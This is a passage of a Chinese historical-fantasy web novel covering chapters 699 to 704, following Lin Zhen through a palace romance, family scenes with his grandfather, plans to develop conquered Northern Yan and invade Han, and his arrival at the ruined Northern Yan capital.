她惊慌地抬眼,对上林臻那双带着刚睡醒的迷蒙、却又闪烁着危险而炽热光芒的深邃眼眸,脸颊瞬间飞起两朵红云,如同天边的朝霞,一直蔓延到耳根! 心跳如同小鹿乱撞,几乎要跳出胸膛! “陛……陛下还在上朝……夫君……您……”她语无伦次,声音带着颤抖,想要提醒他这里是女帝寝宫,想要挣脱这突如其来的、令人心慌意乱的禁锢。 “椿儿……”林臻的声音带着刚睡醒的沙哑和一种致命的磁性,他手臂微微用力,隔着帐幔,不容分说地将猝不及防、浑身僵硬的司马椿蕾拉向自己! 另一只手则顺势掀开了帐幔! “啊!”司马椿蕾只觉一股大力传来,身体不受控制地向前倾倒! 她惊呼一声,整个人便被林臻拉进了宽大的龙榻! 隔着薄薄的锦被,跌入一个温暖而坚实的怀抱! 浓烈的男性气息混合着昨夜残留的、属于慕容嫣的冷梅香,瞬间将她包围! 她吓得魂飞魄散,双手下意识地抵在林臻的胸膛上,想要挣扎起身:“夫君不可!万万不可!这里是陛下寝宫!陛下随时会回来,我们……我们回臣妾宫里吧。” 林臻却低低地笑了起来,那笑声带着一丝慵懒的邪气,手臂如同铁箍般紧紧环住她纤细却充满弹性的腰肢,将她牢牢禁锢在怀里。 他低头,灼热的气息喷洒在她敏感的耳廓和颈侧,声音低沉而充满诱惑:“怕什么?陛下上朝,一时半刻回不来。况且……我的好椿儿,你偷偷溜进来,给我送点心,还给我赶蚊子……难道……不是也想我了吗?” 他一边说着,另一只手已不安分地抚上她光滑细腻的脸颊,指尖带着滚烫的温度,轻轻摩挲着。 司马椿蕾浑身剧颤! 如同被电流击中! 那声“我的好椿蕾”和那句“难道不是也想我了吗”,如同魔咒般瞬间击溃了她所有的抵抗意志! 抵在他胸膛上的双手,力道不知不觉地软了下来。 她羞得无地自容,将滚烫的脸颊深深埋进他的颈窝,不敢看他,声音细若蚊呐,带着无尽的羞赧和一丝不易察觉的委屈:“……妾身……妾身只是……只是想着夫君昨夜……定是累了……早起该用些滋补的……才……才……” 林臻看着她这副娇羞无限、欲拒还迎的模样,心中爱怜更甚。 他不再说话,只是低下头,精准地捕捉到她那微微颤抖、如同娇嫩花瓣般的红唇,深深地吻了下去! 霸道而炽热,带着不容置疑的占有欲! “唔……”司马椿蕾的抗议被尽数堵了回去,化作一声婉转的呜咽。 她象征性地挣扎了几下,便彻底迷失在他霸道而温柔的攻势中,双臂不知不觉地环上了他的脖颈,热烈地回应着。 帐幔之内,温度急剧升高,昨夜尚未散尽的情愫如同被点燃的干柴,瞬间燎原! 空气中弥漫开比清晨更为浓郁的、令人面红耳赤的旖旎气息…… ?? 第700章 您不许说了! 与此同时,养心殿外。 慕容嫣身着明黄凤袍,头戴赤金珠冠,结束了冗长的早朝,在一众宫女太监的簇拥下,正沿着回廊向寝殿走来。 她脸上带着一丝疲惫,但眉宇间依旧残留着处理朝政时的威严与锐利。 昨夜与林臻的盟誓和温存,如同一剂强心针,让她今日面对那些繁杂的政务和朝臣的奏对时,心中都充盈着一种前所未有的安定与力量。 她甚至有些迫不及待地想回到寝殿,看看那个让她魂牵梦萦的男人是否还在安睡,想再感受一下那份难得的温存。 然而,当她走到寝殿门外,正欲抬手推门时,殿内隐约传来的一些……极其细微、却极其熟悉的声音,让她瞬间僵在了原地! 那是一种……压抑的、带着婉转娇啼的喘息声……混杂着男子低沉而满足的闷哼……还有……锦被摩擦的悉索声…… “这对狗男女!” “陛下?”无言问道。 慕容嫣气的直跺脚,猛地转身,“朕想起还有几份紧急奏章尚未批阅。去养心殿西暖阁。传膳也在那边。” 她甚至没有再看寝殿大门一眼,仿佛那里面发生的一切都与她无关。 “是……是!奴才遵旨!”无言如蒙大赦,连忙躬身应道,指挥着仪仗转向西暖阁。 他偷偷抬眼觑了一下女帝的脸色,那看似平静的面容下,紧绷的下颌线和微微颤抖的指尖,都昭示着这位女帝内心翻腾的惊涛骇浪! 慕容嫣挺直脊背,如同标枪般,一步一步走向西暖阁。 寝殿内,旖旎的浪潮终于平息。 帐幔被重新掀开,林臻坐起身,随意地披上寝衣,露出精壮的上身。 他脸上带着一丝餍足的慵懒,看着身边如同受惊小鹿般、用锦被将自己裹得严严实实、只露出一双水汪汪、带着羞愤和委屈眼眸的司马椿蕾。 司马椿蕾脸颊红得如同熟透的虾子,连小巧的耳垂都染上了绯色。 她羞愤地瞪着林臻,声音带着几分嗔怪:“夫君,您太讨厌了!太荒唐了!这……这可是陛下的寝宫!陛下的龙榻!您……您怎么敢……万一……万一陛下回来……” 她越想越怕,眼圈都红了,声音带着后怕的颤抖。 林臻看着她这副又羞又怕的模样,忍不住低笑出声,伸手捏了捏她滚烫的脸颊:“怕什么?陛下不是还没回来么?再说了……” 他俯身凑近她耳边,声音带着戏谑和一丝得意,“我的好椿蕾,你刚才可不是这么说的哦……”他故意拖长了尾音。 “您……您不许说!”司马椿蕾羞得无地自容,猛地将头埋进被子里,发出一声闷闷的抗议。 林臻笑着将她从被子里挖出来,看着她红扑扑的脸蛋和羞愤的眼神,心中爱怜更甚。 他收起戏谑,目光变得温柔而认真:“好了,不逗你了。我知道你肯定也想我了,对不对?这一年多,在宫里委屈你了。” 他轻轻抚摸着她的长发,声音带着一丝歉意。 司马椿蕾闻言,眼中的羞愤渐渐褪去,取而代之的是一种深藏的委屈和思念。 她抬起水汪汪的眼眸,看着林臻,声音低了下来,带着一丝哽咽:“妾身……妾身只是……只是担心夫君在沪县吃不好,睡不好……还要面对那么多危险……妾身……妾身每日诵经祈福,只盼着夫君平安归来……” 她说着,泪水如同断了线的珠子滚落下来,那楚楚可怜的模样,足以融化任何铁石心肠。 林臻心中一软,将她轻轻拥入怀中,吻去她的泪水:“好了,不哭了。我这不是平安回来了吗?以后会多陪陪你的。” 两人相拥片刻,温存低语。 司马椿蕾的情绪渐渐平复下来,依偎在林臻怀里,感受着他温暖的怀抱和有力的心跳,心中充满了失而复得的满足感。 “夫君,起来用些早膳吧?”司马椿蕾抬起头,看着林臻,声音恢复了温婉,“妾身特意给您熬了燕窝粥,还做了几样您爱吃的点心……只是……只是现在……怕是都凉了……” 她有些懊恼地看着小几上早已不再冒热气的托盘。 林臻顺着她的目光看去,微微一笑。 他松开她,起身下榻,走到小几旁,直接端起那碗已经温凉的燕窝粥,揭开盖子,拿起旁边的玉勺,舀起一勺,毫不犹豫地送入口中。 “哎,夫君!凉的!别吃坏了身子!妾身让人重新做!”司马椿蕾连忙起身,想要阻止。 林臻却摆摆手,咽下那口微凉的、却依旧甜糯的粥,目光温柔地看着她:“不用。这是你亲手做的,亲手端来的。就算凉了……” 他顿了顿,声音低沉而真挚,“……心里也是暖的。” 司马椿蕾怔怔地看着他,看着他毫不犹豫地吃着那碗凉粥,听着他那句“心里也是暖的”,一股巨大的暖流瞬间涌遍全身! 所有的羞怯、委屈、后怕,在这一刻都烟消云散! 只剩下满满的、几乎要溢出来的幸福和感动! 她眼眶一热,泪水再次涌了上来,但这一次,是幸福的泪水。 她走上前,拿起一块同样凉了的芸豆卷,小口小口地喂给林臻,动作温柔而专注,眼中充满了化不开的柔情蜜意。 林臻含笑看着她,享受着这片刻的温存。 寝殿内,昨夜的风暴与今晨的荒唐都已过去,只剩下这一碗凉粥的温情,在晨光中静静流淌。 摄政王府深处,松鹤堂内,檀香袅袅,岁月静好。 午后的阳光透过雕花窗棂,洒下温暖的光斑,空气中弥漫着淡淡的茶香、墨香和孩童身上特有的奶香气。 巨大的紫檀木屏风前,铺着厚厚波斯地毯的地面上,此刻却成了最热闹的“战场”。 摄政王林震仙,这位曾令北燕蛮族闻风丧胆、双手沾满鲜血的“血手人屠”,此刻正毫无形象地趴在地毯上! 他须发皆白,红光满面,穿着舒适的玄色暗金云纹常服,宽大的袖口被高高挽起,露出依旧虬结有力的手臂。 第701章 爷爷快跑!冲啊!打蛮子 他背上,正骑着两个粉雕玉琢、虎头虎脑的小男孩——正是林臻的长子林承煜和次子林承树!两个小家伙都穿着喜庆的大红锦缎袄裤,小脸红扑扑的,兴奋得哇哇大叫! “驾!驾!爷爷快跑!冲啊!打蛮子!”两岁的林承煜小手紧紧揪着林震仙一缕雪白的胡子,另一只手挥舞着一柄小巧的木刀,嘴里发出稚嫩的喊杀声。 “打蛮子!打蛮子!冲啊!”一岁的林承树还不怎么会说话,只会鹦鹉学舌般地跟着哥哥喊,小胖手也学着哥哥的样子,揪着爷爷另一边的胡子,小屁股一颠一颠的,把爷爷当成了冲锋陷阵的战马。 “哎哟!哎哟!我的小祖宗们!轻点!”林震仙一边配合地在地上爬行,一边夸张地龇牙咧嘴,发出“痛苦”的哀嚎,但那双锐利如鹰隼的老眼里,却盛满了几乎要溢出来的宠溺和满足,脸上的笑容如同盛开的菊花,每一道褶子都透着快活。 他爬几步,就故意“哎哟”一声,引得两个小家伙咯咯大笑,揪得更起劲了。 地毯旁边,还坐着两个穿着粉嫩襁褓、如同玉雪团子般的女婴(林臻的两个女儿),被奶娘小心翼翼地抱在怀里。 她们睁着乌溜溜的大眼睛,好奇地看着地上“打仗”的爷爷和哥哥们,小嘴里咿咿呀呀地吐着泡泡。 林震仙爬过她们身边时,还不忘伸出粗糙的大手,轻轻刮一下小孙女嫩豆腐般的脸蛋,逗得小女婴咧开没牙的小嘴,发出“咯咯”的笑声。 整个松鹤堂内,充满了孩童稚嫩的欢笑声、林震仙夸张的“惨叫”声和奶娘们压抑的低笑声,一派其乐融融、天伦共享的温馨景象。 林臻踏入松鹤堂时,看到的便是这样一幅画面。 他一身玄色蟠龙常服,身姿挺拔,脸上带着一丝风尘仆仆的疲惫,但眼神依旧锐利深邃。 他看着地上玩得不亦乐乎的祖父和儿子们,冷峻的嘴角也不由自主地勾起一抹温暖的弧度。 他并未立刻出声打扰,只是静静地站在门边,看着这难得的温情时刻,心中涌起一股暖流。 沪县的惊涛骇浪,京城的暗流涌动,仿佛都被隔绝在这片温馨之外。 “爹爹!”眼尖的林承煜最先发现了父亲,立刻松开揪着爷爷胡子的手,手脚并用地从林震仙背上爬下来,像颗小炮弹般冲向林臻! 林承树也紧随其后,摇摇晃晃地扑了过来。 林臻蹲下身,张开双臂,将两个儿子稳稳地接在怀里。 承煜像只小猴子般挂在他脖子上,承树则抱着他的腿,仰着小脸,奶声奶气地喊:“爹爹!抱抱!” “乖。”林臻一手抱起一个儿子,在两张粉嫩的小脸上各亲了一口,惹得两个小家伙咯咯直笑。 他抱着儿子走到地毯边。 “臻儿回来了?”林震仙这才慢悠悠地从地上爬起来,拍了拍衣袍上并不存在的灰尘,脸上带着满足的笑容,伸手从林臻怀里接过还在扭动的小承树,用胡子蹭了蹭他的小脸,惹得小家伙又是一阵咯咯笑。 “陛下那边都交代好了?” “嗯,都安顿好了。”林臻放下承煜,让他自己去玩,目光转向林震仙,神情变得郑重起来,“祖父,孙儿此次回来,是想和您商议北燕之事。” “北燕?”林震仙抱着小承树,在铺着厚厚锦垫的紫檀木圈椅上坐下,拿起旁边矮几上一个精巧的拨浪鼓逗弄着重孙子,头也不抬,语气随意, “北燕不是被老夫打下来了吗?王庭都降了,还有什么好商议的?让朝廷派几个能干的文官过去,该收税的收税,该安抚的安抚,不就完了?” “没那么简单,祖父。”林臻在林震仙对面坐下,自己斟了一杯温茶,沉声道,“北燕地域辽阔(山西北部及部分蒙古草原),民风彪悍,尤以游牧部落为甚。王庭虽降,但各部族首领(酋长)依旧拥兵自重,阳奉阴违。 朝廷政令,出了燕京(北燕旧都)百里,便如同废纸!更兼其地苦寒,土地贫瘠,百姓多以游牧为生,生活困苦。若只知一味征税盘剥,而不思发展民生,长此以往,必生叛乱!届时,朝廷大军劳师远征,耗费钱粮无数,死伤将士性命,岂非得不偿失?” 林震仙逗弄重孙的手微微一顿,抬起眼皮,扫了林臻一眼:“那依你之见?” “当务之急,是‘固本培元’!”林臻放下茶盏,目光灼灼, “其一,改土归流!废除北燕旧有的部落酋长世袭制,仿照内地,设立州、府、县,由朝廷委派流官治理!选拔当地通晓汉话、心向朝廷的贤能之士,担任基层官吏,逐步推行《大乾律》及赋税制度! 其二,屯田实边!迁徙内地无地流民、招募退伍军户,于北燕水草丰美之地(河套平原)设立军屯、民屯!朝廷提供耕牛、种子、农具,免税三年!鼓励开垦荒地,种植耐寒作物(如燕麦、土豆),筑堡建寨,将游牧之民逐步转化为定居农耕之民!如此,既能解决流民安置,又能充实边防,更能为朝廷提供稳定税源和军粮! 其三,兴商通贸!开通燕京—大同—太原商路,降低关税,鼓励晋商(山西商人)北上!用中原的盐、铁、茶、布、瓷器,换取北燕的皮毛、牲畜、药材!互通有无,繁荣经济!其四,也是最重要的一点——开矿!” 林臻的声音陡然拔高,带着一丝难以抑制的兴奋: “祖父!北燕之地,看似荒凉,实则地下埋藏着金山银山!据工部最新密报,在雁门关以北、阴山南麓,发现了储量惊人的露天优质煤矿!其煤质之佳,远胜辽东!更在云中郡(大同)附近,发现了大型铁矿脉!品位极高!还有铜矿、石灰石矿……储量皆极为丰富!若能大力开采,北燕不仅能自给自足,更能成为我大乾新的矿冶重镇!为深水港的巨舰、沪县的工坊、乃至未来的铁甲雄师,提供源源不断的钢铁脊梁!” 第702章 打韩国 林震仙听着林臻条理清晰、充满激情的阐述,逗弄重孙的动作不知不觉停了下来。 他浑浊却依旧锐利的目光落在林臻脸上,看着孙子眼中那如同燃烧火焰般的抱负和光芒,心中既欣慰又复杂。 这小子……眼界和格局,早已超越了他这个只知道砍人脑袋的祖父。 他沉默片刻,将怀里玩累了、开始打瞌睡的小承树交给旁边的奶娘,又示意另一个奶娘把咿咿呀呀的小孙女也抱下去休息。 然后,他拿起矮几上的紫砂壶,给自己和林臻各斟了一杯浓茶,慢悠悠地品了一口,才缓缓开口,声音带着一丝沧桑和看透世事的淡然: “臻儿啊……你说的这些……修路、开矿、屯田、通商……桩桩件件,听着都挺好,都是利国利民的长远之计。” 他放下茶盏,目光平静地看着林臻, “可是……这些事,太费神!太耗钱!太磨人!要跟那些刁钻的商人打交道,要跟那些冥顽不灵的部落首领周旋,要安抚那些穷得叮当响的流民,还要防着那些眼红矿利的宵小之辈捣乱……没个十年八载,难见大成效!老夫……” 他指了指自己花白的头发和胡子,脸上露出一抹自嘲的笑意,“老夫今年七十有四了!这把老骨头,砍了一辈子人,早就砍累了!也砍不动了!如今啊,就只想含饴弄孙,享享清福。看着承煜承树他们一天天长大,看着那几个小丫头片子咿咿呀呀学说话……这比什么都强!这些个……什么矿啊、田啊、商路啊……你看着办吧!老夫不管了!也管不动了!” 他挥了挥手,一副彻底甩手掌柜的模样,重新拿起拨浪鼓,逗弄着又爬到他腿边玩耍的承煜。 林臻看着祖父这副“有孙万事足”、彻底躺平的模样,又是好气又是好笑。 他知道祖父说的是真心话。 这位戎马一生、杀人如麻的老王爷,晚年最大的幸福,就是儿孙绕膝,享受天伦。 那些治国安邦、开疆拓土的宏图伟业,在他眼中,远不如重孙子揪他一下胡子来得实在。 “祖父,”林臻无奈地笑了笑,端起茶盏喝了一口,润了润嗓子,话锋陡然一转,如同出鞘的利剑,“您不管这些内政民生,孙儿理解。您想享清福,孙儿也替您高兴。可是……” 他放下茶盏,目光如电,直视着林震仙,“这打仗的事情……您总不能也撒手不管吧?” “打仗?”林震仙逗弄重孙的手再次一顿,浑浊的老眼中瞬间闪过一丝如同沉睡雄狮苏醒般的锐利精光! 他缓缓抬起头,看向林臻,“打谁?” “韩国!”林臻吐出两个字,声音斩钉截铁,带着金铁交鸣般的杀伐之气! “韩国?”林震仙眉头微挑,眼中精光更盛,“韩天鸿那个窝囊废?” “正是!”林臻身体微微前倾,目光灼灼,“祖父,您看这天下大势!北燕已平,其地虽广,然苦寒贫瘠,人心未附,需时间消化。秦国与我有姻亲之盟,且秦王年轻,对大乾的态度十分友好。而韩国……” 他嘴角勾起一抹冰冷的弧度,“地处中原腹心,土地肥沃,人口稠密,乃四战之地!然其主韩天鸿安昏聩无能,沉迷酒色,宠信奸佞!朝政腐败,军备松弛!其国内,权臣当道,民怨沸腾!其军队,号称二十万,实则多为老弱病残,久疏战阵!其都城新郑(郑州),虽有虎牢关之险,然守将韩虎乃韩天鸿安宠妃之兄,贪生怕死,好大喜功,实乃草包一个!” 林臻的声音如同战鼓擂动,带着洞悉敌情的自信:“反观我大乾!北燕新定,然主力边军未损!京畿禁军、金吾卫精锐皆在!更有沪县深水港源源不断输送粮饷军械!以祖父之威名,率我大乾百战之师,挟平定北燕之雷霆余威,挥师南下!破虎牢,克新郑,擒韩王!孙儿敢断言,快则三月,慢则半年,韩国必亡!其膏腴之地,尽归我大乾版图!” 他目光炯炯地看着林震仙,声音带着一种不容置疑的决断和悲悯:“祖父!这乱世!早一日结束,天下百姓便能早一日免于战火涂炭!便能早一日休养生息,安居乐业!韩国,便是这乱世棋盘上,最薄弱的一环!拔除它,我大乾便能将黄河以北,尽握掌中!届时,休养生息两年,积蓄力量,便可……” 他眼中寒光爆射,一字一句道,“……挥师南下!剑指南楚!诛杀顾北辰那个王八蛋!一统江山!” “顾北辰……”林震仙听到这个名字,眼中瞬间爆发出如同实质般的冰冷杀意! 这个名字,如同毒刺,深深扎在他和林臻的心头! 他瘦瘦的手指猛地捏紧了手中的紫砂茶杯,指节泛白,发出“咯咯”轻响! 一股如同洪荒猛兽般的铁血煞气,瞬间从他佝偻的身躯中弥漫开来! 整个松鹤堂的温度仿佛都骤然下降! 连在地上玩耍的承煜都似乎感觉到了什么,有些不安地抬头看了看太爷爷。 林震仙缓缓放下茶杯,那茶杯底部,竟已悄然裂开一道细纹! 他抬起眼,看向林臻,那双苍老却依旧锐利如鹰隼的眼眸中,燃烧着熊熊的战意和刻骨的仇恨! 他沉默了片刻,声音如同砂纸摩擦,带着金铁般的铿锵: “韩国……确实该打!顾北辰……更该杀!” 他顿了顿,目光扫过林臻年轻而充满锐气的脸庞,又看了看依偎在他腿边、懵懂天真的重孙子承煜,眼中的杀意缓缓收敛,化为一种深沉的、如同古潭般的平静。 他缓缓开口,声音恢复了之前的淡然,却带着一种不容置疑的分量: “不过臻儿,打仗不是儿戏。灭国之战,更需慎之又慎。粮草、军械、兵员、将领、时机、乃至天时地利人和,缺一不可。你方才所言,韩国虚弱,确有其事。然狮子搏兔,亦用全力。老夫……会好好考虑你的话。待老夫看过兵部最新的堪舆图和户部的钱粮簿册,再做定夺。” 他没有立刻答应,也没有断然拒绝。 只是将“考虑”二字,说得如同磐石般沉重。 这是老帅的沉稳,也是他对这场可能决定大乾国运的灭国之战,所抱有的绝对慎重。 他再次拿起拨浪鼓,轻轻摇晃着,逗弄着腿边的承煜,脸上重新浮现出慈祥的笑容,仿佛刚才那瞬间爆发的惊世杀意从未存在过。 但那微微眯起的眼眸深处,却如同深渊般,酝酿着足以吞噬山河的风暴。 林臻看着祖父的反应,心中了然。 他知道,祖父这头沉睡的雄狮,已经被他再次唤醒。 灭韩之战,已成定局! 剩下的,只是时间问题。 他端起茶盏,将微凉的茶水一饮而尽,目光投向窗外。 窗外,阳光正好,承煜清脆的笑声在堂内回荡。 第703章 出发北燕 凛冽的朔风,如同亿万头来自极北冰原的饥饿凶兽,裹挟着刺骨的寒意、细碎如盐粒的雪沫、以及粗粝如砂纸的沙尘,在广袤无垠的北燕荒原上疯狂肆虐、咆哮! 风声凄厉,时而如万鬼同嚎,时而如巨兽磨牙,撕扯着天地间最后一丝暖意。 天空是沉重的铅灰色,厚重低垂的云层仿佛凝固的铅块,死死压在大地之上,不见一丝天光泄露,只有一片令人窒息的、无边无际的阴霾。 目之所及,是连绵起伏、望不到尽头的丘陵与旷野。 枯黄败草在狂风中伏倒又挣扎着扬起,如同垂死巨兽的稀疏毛发。 残存的积雪如同丑陋的疮疤,斑驳地覆盖在冻得发黑的土地上,反射着冰冷的微光。 稀疏的、枝干扭曲如虬龙般的枯树,在风中剧烈摇晃,发出“嘎吱嘎吱”不堪重负的呻吟,如同垂死者的呜咽。 远处地平线上,几处低矮破败、用土坯和碎石勉强垒砌的村落,如同被遗忘在荒原上的伤疤,零星点缀着这片死寂的苍茫。 空气中弥漫着深入骨髓的寒意、尘土与腐草混合的腥气、以及一种浓得化不开的、仿佛亘古不变的荒凉与肃杀! 这片土地,如同被天神遗弃的角落,充满了绝望与挣扎的气息。 一支沉默而肃杀的车队,如同黑色的钢铁洪流,碾碎了这片死寂的荒凉,沿着一条被无数车辙和马蹄反复蹂躏、早已坑洼不平、泥泞不堪的官道,艰难地向前推进。 车轮碾过冻土和碎石,发出沉闷而单调的“咯吱”声,混杂在呼啸的风声中,更添几分压抑。 车队核心,是一辆规制远超寻常、散发着无形威压的玄色鎏金马车。 车身由百炼精钢与百年紫檀木巧妙榫合而成,厚重坚固,足以抵御强弓劲弩。 车身錾刻着繁复而威严的蟠龙云纹,在阴霾天光下依旧闪烁着幽冷的金属光泽,边缘镶嵌着熠熠生辉的赤金边饰,彰显着主人身份的不凡。 四匹通体乌黑如墨、神骏非凡的“踏雪乌骓”,披挂着精钢打制的鳞片马铠,在寒风中喷吐着浓重的白气,碗口大的铁蹄每一次落下,都在冻土上留下清晰的印记,发出沉重而规律的“嗒嗒”声。 马车两侧,各有八名身着玄黑鱼鳞重甲、背负劲弩、腰挎连鞘长刀的亲卫骑兵护卫。 他们身形挺拔如标枪,面甲下只露出冰冷的嘴唇和刚毅的下颌,眼神锐利如鹰隼,警惕地扫视着四周的荒原。 冰冷的甲胄在风中纹丝不动,唯有盔缨在狂风中剧烈摇曳,如同燃烧的黑色火焰! 一股如同实质般的铁血煞气从他们身上弥漫开来,将呼啸的寒风都逼退三分! 车队前后,更有数十名同样装束、气势森然的精锐骑兵开道断后。 一面玄色蟠龙大纛在风中猎猎作响,上书一个斗大的、笔力遒劲的“林”字! 正是摄政王世子林臻的车驾! 马车内,林臻并未端坐。 他斜倚在铺着厚厚白虎皮的软榻上,身着一袭玄色暗金蟠龙常服,外罩同色薄氅,姿态看似慵懒,眉宇间却凝聚着一丝不易察觉的沉凝。 车窗的锦帘被掀开一角,他深邃如古井的目光穿透弥漫的风沙与雪沫,锐利地、一寸寸地扫视着窗外这片刚刚被纳入大乾版图、却依旧弥漫着蛮荒、血腥与不屈气息的土地——北燕。 他的目光掠过荒芜的丘陵、破败的村落、扭曲的枯树,如同最精密的探针,捕捉着这片土地跳动的脉搏和潜藏的暗流。 这里,将是他未来几年的战场。 不仅仅是刀剑的战场,更是人心、制度与未来的战场。 “世子,前面就是燕京了。” 车窗外,传来贴身女护卫橙萱那清脆却带着一丝被寒风浸染的沙哑声音。 她依旧是一身明艳如秋日暖阳的橙黄劲装,丸子髻上沾满了细小的冰晶,在寒风中闪烁着微光。 她指着前方地平线上隐约可见的、一片巨大而模糊的轮廓,声音带着一丝不易察觉的失望和困惑,“看着可真够破败的。比咱们京城的贫民窟好不了多少。” 她想象中北燕旧都的雄浑气象,在眼前这片灰暗的轮廓前,如同泡沫般破灭。 林臻没有回应,只是目光沉静地凝视着那座越来越近的城池。 燕京,北燕旧都。 城墙高大厚重,由巨大的青灰色条石垒砌而成,依稀可见昔日的雄浑轮廓。 然而此刻,城墙之上布满了刀砍斧凿、箭矢穿凿的深痕,大片大片的墙皮剥落,露出里面粗糙的石料。 烟熏火燎的痕迹随处可见,如同狰狞的伤疤,无声诉说着这里曾经历的血雨腥风与惨烈攻防。 城楼之上,象征大乾的玄色蟠龙旗在狂风中猎猎作响,努力彰显着新主的威严。 但旗帜下的守军,却显得有些稀稀拉拉,精神萎靡,甲胄破旧,甚至有人抱着长矛缩在避风的角落打盹。 城门大开,进出的行人寥寥无几,大多衣衫褴褛,补丁摞着补丁,面黄肌瘦,眼神麻木而空洞,如同行尸走肉般在寒风中瑟缩前行。 空气中,除了风沙的凛冽刺鼻,还隐隐飘来一股混合着牲畜粪便的臊臭、劣质烧酒的辛辣、以及某种如同尸体腐烂般的、难以言喻的腐朽气息。 这座昔日的王城,如今更像是一座巨大的、散发着死亡气息的废墟。 “这就是我们浴血奋战打下来的江山?世子,我们来这干什么呀。”橙萱忍不住再次低声嘟囔了一句,声音带着一丝困惑和强烈的不满。 她想象中的北燕都城,即便不如京城繁华,也该有几分塞北雄城的粗犷与厚重,可眼前所见,却只有一片凋敝、死气沉沉与深入骨髓的绝望。 这景象,与她记忆中世子在沪县创造的奇迹之城,形成了刺眼的对比。 林臻放下锦帘,隔绝了窗外的景象,声音平静无波,却带着一种洞悉一切的穿透力与沉重的责任感:“你以为我愿意来啊?除了我,整个大乾还有谁会开发土地?唉,也不知道灵儿的那些徒弟什么时候才能学出来。” “可是世子,北燕皇城怎么会是这个样子呢?” “北燕苦寒,本就贫瘠,地力远逊中原。连年战乱,北燕王庭横征暴敛,各部落酋长相互攻伐,如同豺狼般撕咬着这片土地最后一点血肉。百姓早已被榨干了骨髓,能在这冰天雪地里活下来,已是万幸。繁华?” 他嘴角勾起一抹冰冷的弧度,带着一丝嘲讽,“那是需要海量的粮食、安稳的环境、精心的治理和漫长的时间去浇灌的种子。这里,只有冻土和风沙。” 他顿了顿,眼中闪过一丝锐利如刀的寒芒, “况且……你以为这表面的死寂之下,真的平静吗?王庭虽降,但那些盘踞一方的部落酋长,那些在战火中存活下来的马贼悍匪,那些对故国念念不忘的遗老遗少……人心未附,暗流涌动。这燕京城里,每一道阴影下,都可能藏着淬毒的匕首和窥伺的眼睛。魑魅魍魉,从未散去。” 第704章 破败,还是破败 车队缓缓驶入燕京城门。 城内的景象,比城外更加触目惊心,如同将一幅地狱的画卷在眼前徐徐展开。 街道宽阔,依稀可见昔日的规划,但此刻却肮脏不堪,污水横流,冻结的冰面上覆盖着厚厚的污秽。 垃圾遍地,冻硬的粪便、破碎的瓦罐、腐烂的草屑混杂在一起,散发出令人作呕的气味。 两侧的房屋大多低矮破败,土坯墙开裂倾斜,茅草屋顶塌陷漏风。 不少房屋只剩下断壁残垣,焦黑的木梁斜插在废墟中,显然还未从战火中恢复。 商铺寥寥无几,大多门窗紧闭,门板上布满灰尘和蛛网。偶有几家开门的,也是些卖劣质烧刀子、粗粝得如同砂石的杂粮、以及带着腥臊味的皮毛骨器的铺子,门可罗雀。 行人稀少,个个面有菜色,眼神躲闪,如同惊弓之鸟。 看到这队杀气腾腾、甲胄鲜明的精锐骑兵,更是吓得魂飞魄散,纷纷避让,躲进阴暗的角落或残垣断壁之后,只露出一双双充满恐惧和戒备的眼睛。 空气中弥漫着一种压抑的、如同死水般的沉闷气息,以及绝望的、令人窒息的沉默。 这座城,仿佛已经死去。 “世子殿下驾到——!”城门守将阿史那浑早已得到消息,带着一群同样穿着破旧皮甲、精神萎靡、甚至有人冻得瑟瑟发抖的士兵,慌慌张张地跪在冰冷肮脏的道路两旁。 阿史那浑的声音带着惶恐和谄媚,额头紧紧贴着地面,不敢抬起分毫。 林臻并未下车,甚至连车窗的锦帘都未再掀开。 他只是透过车厢内壁,仿佛能穿透厚重的木板,冷冷地“扫视”着跪在地上的守将和士兵。 那无形的目光如同实质的冰锥,刺得阿史那浑浑身一哆嗦,感觉一股寒气从尾椎骨直冲天灵盖,头埋得更低了,几乎要钻进地里。 “毛梦极!”林臻低沉的声音在车厢内响起,如同冰面下的暗流。 “末将在!”马车旁,一名身披玄黑鱼鳞甲、身形枯瘦如竹、脸上带着一道从眉骨斜划至嘴角、如同蜈蚣般狰狞刀疤的将领立刻策马上前。 正是金吾卫统领毛梦极! 他眼神阴鸷,如同潜伏在阴影中的毒蛇,声音嘶哑冰冷,不带一丝情感。 “即刻接管城防!所有原北燕守军,卸甲!缴械!集中看管!反抗者,格杀勿论!” 林臻的命令简洁、冰冷、如同出鞘的利剑,带着不容置疑的铁血杀伐之气! “城防图、武库册、粮草簿,一个时辰内,送到行辕!延误者,军法从事!” “末将遵命!”毛梦极眼中寒光一闪,没有丝毫犹豫,枯瘦如鹰爪的手猛地一挥! 如同一个无声的信号! “锵啷啷——!”身后数十名如狼似虎的金吾卫精锐瞬间拔刀出鞘! 冰冷的刀锋在阴霾天光下闪烁着刺骨的寒芒! 他们如同黑色的潮水般,以惊人的速度涌向城楼各处要害! 沉重的脚步声、甲胄碰撞声、冰冷的呵斥声瞬间打破了城门的死寂! “卸甲!” “缴械!” “跪下!” 粗暴的喝令声此起彼伏! 那些跪在地上的原北燕士兵,如同待宰的羔羊,被粗暴地驱赶着,手忙脚乱地脱下破旧的皮甲,交出锈迹斑斑的刀枪。 稍有迟疑或动作稍慢者,立刻迎来金吾卫毫不留情的刀鞘重击或拳打脚踢! 惨叫声、闷哼声、哭泣声混杂在一起! 整个过程迅疾而冷酷! 毛梦极如同冰冷的石像,按刀伫立在城门中央,枯瘦的身影散发着令人胆寒的煞气,那双阴鸷的眼睛扫过之处,连空气都仿佛要冻结! 仅仅片刻,城门防务已被彻底接管,原守军如同丧家之犬般被集中看押在城墙角落,在寒风中瑟瑟发抖。 车队继续前行,碾过肮脏的街道,穿过一片片破败的街区,最终来到位于城中心、原北燕王庭的宫殿——如今已被改造成大乾世子行辕。 宫殿群规模宏大,飞檐斗拱依稀可见昔日的辉煌,但此刻却难掩破败与颓丧。 琉璃瓦残缺不全,朱漆剥落露出腐朽的木胎,巨大的蟠龙石柱上布满了刀痕箭孔,如同饱经沧桑的老人身上的伤痕。 巨大的宫门半开,门上的铜钉锈迹斑斑。 庭院内杂草丛生,枯黄的蒿草足有半人高,在寒风中摇曳。 积雪未扫,混杂着泥土和垃圾,一片狼藉荒凉景象。 只有门口新换的、黑底金字的“敕造摄政王世子行辕”牌匾,在寒风中显得格外醒目,昭示着这里新的主人和新的秩序。 林臻在亲卫的簇拥下,踩着咯吱作响的积雪,步入空旷阴冷的正殿。 殿内空间极大,由数十根巨大的蟠龙柱支撑着高阔的穹顶。 穹顶的彩绘早已褪色剥落,露出灰暗的底色,显得斑驳陆离。 